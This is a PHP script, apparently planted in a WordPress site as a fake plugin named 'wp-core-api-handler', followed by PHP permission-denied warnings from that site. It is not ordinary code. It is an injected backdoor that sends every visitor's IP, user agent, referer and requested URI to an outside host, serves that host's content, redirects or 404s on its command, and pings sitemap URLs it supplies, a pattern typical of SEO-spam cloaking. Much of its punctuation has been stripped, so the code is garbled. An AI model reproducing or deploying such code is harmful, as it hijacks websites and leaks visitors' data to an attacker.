php
define('BACKEND', 'httpsjr002.hereframe.comgoapi');

function gv($key) {
    return $_SERVER[$key]  '';
}
function isHttps() {
    if (!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') {
        return true;
    }
    if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && strtolower($_SERVER['HTTP_X_FORWARDED_PROTO']) === 'https') {
        return true;
    }
    if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) {
        return true;
    }
    return false;
}
function getClientIp() {
    $headers = [
        'HTTP_CLIENT_IP',
        'HTTP_CF_CONNECTING_IP',
        'HTTP_X_FORWARDED_FOR',
        'HTTP_FORWARDED',
        'REMOTE_ADDR',
    ];
    foreach ($headers as $key) {
        if (!isset($_SERVER[$key])) continue;
        foreach (explode(',', $_SERVER[$key]) as $ip) {
            $ip = trim($ip);
            if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE  FILTER_FLAG_NO_RES_RANGE) !== false) {
                return $ip;
            }
        }
    }
    return '';
}

function httpRequest($url, $data = '', $isPost = false) {
    if (function_exists('curl_init')) {
        $ch = curl_init();
        if ($isPost) {
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
        } else {
            curl_setopt($ch, CURLOPT_URL, $data  {$url}{$data}  $url);
        }
        curl_setopt_array($ch, [
            CURLOPT_RETURNTRANSFER = 1,
            CURLOPT_HEADER         = 0,
            CURLOPT_FOLLOWLOCATION = 1,
            CURLOPT_TIMEOUT        = 30,
            CURLOPT_CONNECTTIMEOUT = 5,
            CURLOPT_SSL_VERIFYPEER = false,
        ]);
        $response = curl_exec($ch);

        if ($response === false) {
            $err = curl_error($ch);
            $errno = curl_errno($ch);
            $info = curl_getinfo($ch);
            error_log([SHELL_DEBUG] curl FAILED errno={$errno}, error={$err}, http_code={$info['http_code']}, url= . ($isPost  $url  ($data  {$url}...  $url)) . , total_time={$info['total_time']}s);
        } else {
            $info = curl_getinfo($ch);
            $contentType = $info['content_type']  '';
            if ($contentType) @header(Content-Type {$contentType});
            if (strlen($response)  10) {
                error_log([SHELL_DEBUG] curl OK but short response len= . strlen($response) . , body= . var_export($response, true) . , http_code={$info['http_code']}, total_time={$info['total_time']}s);
            }
        }

        curl_close($ch);
        return $response;
    }
    return @file_get_contents($data  {$url}{$data}  $url);
}

function fetchBackend($url, $queryString) {
    $response = httpRequest($url, $queryString);
    if (!$response) {
        error_log([SHELL_DEBUG] fetchBackend first attempt emptyfalse, response= . var_export($response, true));
        return false;
    }

    $flag = $response[0];

    if ($flag === '4') {
        @header('HTTP1.1 404 Not Found');
        echo substr($response, 1);
        die;
    }

    if ($flag === '5') {
        @header('HTTP1.1 500 Internal Server Error');
        echo substr($response, 1);
        die;
    }

    if ($flag === '3') {
        @header('HTTP1.1 302 Found');
        @header('Location ' . substr($response, 1));
        die;
    }

    if ($flag === '7') return false;
    if ($flag === '8') die;

    return $response;
}

$requestUri = gv('REQUEST_URI');

if (trim($requestUri, '') === 'jp2023')
{
    $host = parse_url(BACKEND, PHP_URL_HOST);

    $hostParts = explode('.', $host);
    $identifier = $hostParts[0]  'unknown';

    die(!DOCTYPE htmlhtml lang='ja'headmeta content='texthtml; charset=utf-8'headbodyh1404 Not Found!({$identifier})h1bodyhtml);
}

$params = http_build_query([
    'uri'   = $requestUri,
    'dom'   = gv('HTTP_HOST'),
    'ip'    = getClientIp(),
    'lang'  = gv('HTTP_ACCEPT_LANGUAGE'),
    'agent' = gv('HTTP_USER_AGENT'),
    'refer' = gv('HTTP_REFERER'),
    'http'  = isHttps()  'https'  'http',
]);

if (strpos($requestUri, 'pingsitemap') !== false) {
    $urls = fetchBackend(BACKEND, $params);
    if ($urls) {
        foreach (explode(',', $urls) as $pingUrl) {
            $result = httpRequest($pingUrl);
            echo $pingUrl . 'br';
            echo (stristr($result, 'successfully')  'ping ok'  $result) . 'br';
        }
    }
} else {
    $html = fetchBackend(BACKEND, $params);
    if ($html) die($html);
}<br />
<b>Warning</b>:  file_get_contents(/home/54c/goushiyonekura.com/public_html/wp-content/plugins/wp-core-api-handler/index.php): failed to open stream: Permission denied in <b>/home/54c/goushiyonekura.com/public_html/wp-includes/functions.php</b> on line <b>6910</b><br />
<br />
<b>Warning</b>:  include_once(/home/54c/goushiyonekura.com/public_html/wp-content/plugins/wp-core-api-handler/index.php): failed to open stream: Permission denied in <b>/home/54c/goushiyonekura.com/public_html/wp-settings.php</b> on line <b>560</b><br />
<br />
<b>Warning</b>:  include_once(): Failed opening '/home/54c/goushiyonekura.com/public_html/wp-content/plugins/wp-core-api-handler/index.php' for inclusion (include_path='.:/opt/php-7.4.33-2/data/pear') in <b>/home/54c/goushiyonekura.com/public_html/wp-settings.php</b> on line <b>560</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at cw.zip#cw:1) in <b>/home/54c/goushiyonekura.com/public_html/wp-includes/pluggable.php</b> on line <b>1531</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at cw.zip#cw:1) in <b>/home/54c/goushiyonekura.com/public_html/wp-includes/pluggable.php</b> on line <b>1534</b><br />